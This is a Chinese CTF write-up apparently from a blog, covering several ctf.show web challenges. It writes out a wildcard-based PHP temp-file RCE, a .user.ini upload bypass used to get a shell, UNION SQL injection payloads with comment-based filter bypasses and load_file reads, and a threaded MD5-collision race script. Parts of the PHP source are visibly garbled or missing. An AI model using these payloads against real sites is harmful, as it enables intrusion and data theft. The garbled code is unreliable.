ctf.show web 刷题记录

红包题第二弹

打开题目,提示参数cmd
ctf.show web 刷题记录_第1张图片
我们随便输入?cmd=1
得到源代码


ctf.show_红包题
where is the flag?




    
    
    ctf.show_红包题


    

ctf.show_红包题

where is the flag?

cerror

我们要利用eval()函数命令执行,但是我们看一下if语句,发现是无字母数字RCE,并且不能用取反,异或,自增去绕过
(这里可以参考p神文章)

我们得先了解下面几个概念

  • .

    点命令等于source命令,用来执行文件。source /home/user/bash 等同于 . /home/user/bash

  • 临时文件夹目录

    php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()
    函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。

  • 临时文件命名规则

    默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp
    linux下:phpXXXXXX。

  • 通配符

    问号?代表一个任意字符,通配符/??p/p?p???匹配/tmp/phpxxxxxx

  • Content-Type

    Content-Type有两个值:
    ①application/x-www-form-urlencoded(默认值) :上传键值对
    ②multipart/form-data:上传文件

思路:利用上传的临时文件去命令执行getshell

首先我们得先实现文件上传的功能
F12右键编辑html,将下面代码复制上去




ctf.show web 刷题记录_第2张图片
现在我们要创建1.txt上传的包,写入我们执行的命令

ls /

然后上传,用bp抓包
添加参数

?cmd=?>

注:

  1. 第一个?>是为了闭合前面的php代码
  2. /??p/p?p??????是匹配/tmp/php??????

发送,发现有flag

ctf.show web 刷题记录_第3张图片

cat一下,得到flag

ctf.show web 刷题记录_第4张图片

web13

打开题目,去读取下upload.php的备份文件
访问./upload.php.bak,得到源码

 24){  //文件内容不能大于24
		die("error file zise");
	}
	if (strlen($filename)>9){  //文件名不能大于9
		die("error file name");
	}
	if(strlen($ext_suffix)>3){  //拓展名长度不能大于3
		die("error suffix");
	}wenjian
	if(preg_match("/php/i",$ext_suffix)){  //匹配php不分大小写,拓展名不能为php
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){  //匹配php不分大小写,文件名不能为php
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

分析一下,既然拓展名只能读取一个,且不能为php
那么可以采用.user.ini配置文件攻击
首先创建.user.ini文件,写入

auto_prepend_file=a.txt

然后上传,让所有文件包含a.txt
上传成功后,我们创建a.txt,写入

上传,结果发现报错
在这里插入图片描述看来只能先上传a.txt,我们重启下环境
分别上传,发现成功getshell(上传文件的路径为根目录)

ctf.show web 刷题记录_第5张图片

直接命令执行的话,发现直接回到初始页面

ctf.show web 刷题记录_第6张图片那么我们只能遍历下目录看看有什么php文件了

/?a=print_r(glob("*"));

或者是

?a=print_r(scandir('.'));

ctf.show web 刷题记录_第7张图片发现有个非常特别的php文件
我们尝试读取

?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

ctf.show web 刷题记录_第8张图片

web14

打开题目,发现是swtich选择结构
源代码如下

 

关键点就在于我们要得到$url的值,当然有好几个选择
但是有这个sleep($c)出现(毕竟谁也不想等)
那就只能传c=3进去
ctf.show web 刷题记录_第9张图片访问一下,发现是登录框
输入1时,回显admin

  • List item
  • 输入-1时,报错

F12查看源代码,发现有过滤条件
ctf.show web 刷题记录_第10张图片

方法一

思路:我们可以用mysql.innodb_table_stats代替information_schema
然后用无列名注入得到flag

我们先判断下字段数
payload

?query=-1/**/union/**/select/**/1#

ctf.show web 刷题记录_第11张图片输入下面payload时报错

?query=-1/**/union/**/select/**/1,2#

说明字段数为1,然后我们就可以使用联合查询

爆库名
payload

?query=-1/**/union/**/select/**/database()#

ctf.show web 刷题记录_第12张图片继续爆表名
payload

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()#

ctf.show web 刷题记录_第13张图片然后无列名注入
payload

?query=-1/**/union/**/select/**/group_concat(`1`,`2`,`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)a#

(方法二已经查到有三列,所以这里有三位)

ctf.show web 刷题记录_第14张图片

提示tell you a secret,secret has a secret...,那应该和./secret.php脱不了干系
访问一下,发现确实有东西,但是没显示,F12看hint
ctf.show web 刷题记录_第15张图片

应该是要读取此文件

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')#

ctf.show web 刷题记录_第16张图片提示我们应该读取/real_flag_is_here
修改一下payload

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

得到flag
ctf.show web 刷题记录_第17张图片

方法二

用information_schema.`tables`绕过

查询语句
爆库名

?query=-1/**/union/**/select/**/database()#

爆表名

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#

爆列名

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#

查询数据

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#

同样可以得到secret的提示

红包题第六弹

打开题目,由于提示不是SQL注入,那我们只好扫目录
(这里我的御剑和kali的dirsearch都扫不出来。。)
不过确实能扫出./web.zip,访问下载此文件
解压完发现是备份文件
源代码

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
 
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
 
    return $ret;
 
}
if(md5(date("i")) === $token){
	
	$receiveFile = 'flag.dat';
	receiveStreamFile($receiveFile);
	if(md5_file($receiveFile)===md5_file("key.dat")){
		if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
			$ret['success']="1";
			$ret['msg']="人脸识别成功!$flag";
			$ret['error']="0";
			echo json_encode($ret);
			return;
		}

			$ret['errormsg']="same file";
			echo json_encode($ret);
			return;
	}
			$ret['errormsg']="md5 error";
			echo json_encode($ret);
			return;
} 

$ret['errormsg']="token error";
echo json_encode($ret);
return;

分析一下

  1. receiveStreamFile($receiveFile)函数用于接收通过流方式上传的文件数据,并将其保存到指定的文件中。它可以用作文件上传的处理函数。
  2. 然后就是比较生成的时间分钟数的 MD5 哈希值与给定的 $token是否相等,比较我们上传的文件的md5值是否强等于key.dat,同时sha1值不相等

我们可以查看下页面源代码

ctf.show web 刷题记录_第18张图片
发现$token值是可控的
然后我们在直接访问./key.dat,下载此文件
利用工具生成我们要上传的文件

./fastcoll_v1.0.0.5.exe -p key.dat -o 1.dat 2.dat

ctf.show web 刷题记录_第19张图片然后就是上传文件(1.dat和2.dat都行)
脚本

#ctf.show web 红包题第六弹
import requests
import time
import hashlib
import threading

def post(data):
	try:
		r=requests.post(url,data=data)
		if "ctfshow" in r.text:
			print(r.text)
	except Exception as e:
		pass

mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://95057b51-9493-4032-85ec-1a53d150505a.challenge.ctf.show/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
    data1=f.read()
with open('2.dat','rb') as f:
    data2=f.read()
for i in range(30):
	threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
	threading.Thread(target=post,args=(data2,)).start()

解释:

  1. time.localtime() 返回当前的本地时间,tm_min 获取当前分钟数。
  2. str(time.localtime().tm_min) 将分钟数转换为字符串。
  3. mi.encode() 将字符串编码为字节串,以便进行哈希计算。
  4. hashlib.md5() 使用 MD5 哈希算法创建一个哈希对象。

总的来说,m=hashlib.md5(mi.encode()).hexdigest() 计算哈希对象的摘要,并使用 hexdigest() 方法将结果转换为十六进制表示的字符串。这个字符串 m 将用作请求 URL 中的 token 部分。

运行脚本,得到flag
在这里插入图片描述

你可能感兴趣的:(web安全,php)